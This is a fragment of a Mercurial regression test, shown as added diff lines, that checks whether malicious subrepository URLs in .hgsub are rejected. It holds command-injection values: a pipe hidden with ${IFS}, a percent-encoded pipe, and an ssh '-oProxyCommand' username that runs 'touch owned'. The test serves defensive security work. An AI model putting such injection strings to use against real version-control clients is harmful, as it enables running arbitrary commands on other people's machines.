b87239
+  [255]
b87239
+
b87239
+also check for a pipe
b87239
+
b87239
+  $ cd malicious-proxycommand
b87239
+  $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
b87239
+  $ hg ci -m 'change url to pipe'
b87239
+  $ cd ..
b87239
+  $ rm -r malicious-proxycommand-clone
b87239
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
b87239
+  updating to branch default
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+  $ [ ! -f owned ] || echo 'you got owned'
b87239
+
b87239
+also check that a percent encoded '|' (%7C) doesn't work
b87239
+
b87239
+  $ cd malicious-proxycommand
b87239
+  $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
b87239
+  $ hg ci -m 'change url to percent encoded pipe'
b87239
+  $ cd ..
b87239
+  $ rm -r malicious-proxycommand-clone
b87239
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
b87239
+  updating to branch default
b87239
+  abort: no suitable response from remote hg!
b87239
+  [255]
b87239
+  $ [ ! -f owned ] || echo 'you got owned'
b87239
+
b87239
+and bad usernames:
b87239
+  $ cd malicious-proxycommand
b87239
+  $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
b87239
+  $ hg ci -m 'owned username'
b87239
+  $ cd ..
b87239
+  $ rm -r malicious-proxycommand-clone
b87239
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
b87239
+  updating to branch default
b87239
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s)
b87239
+  [255]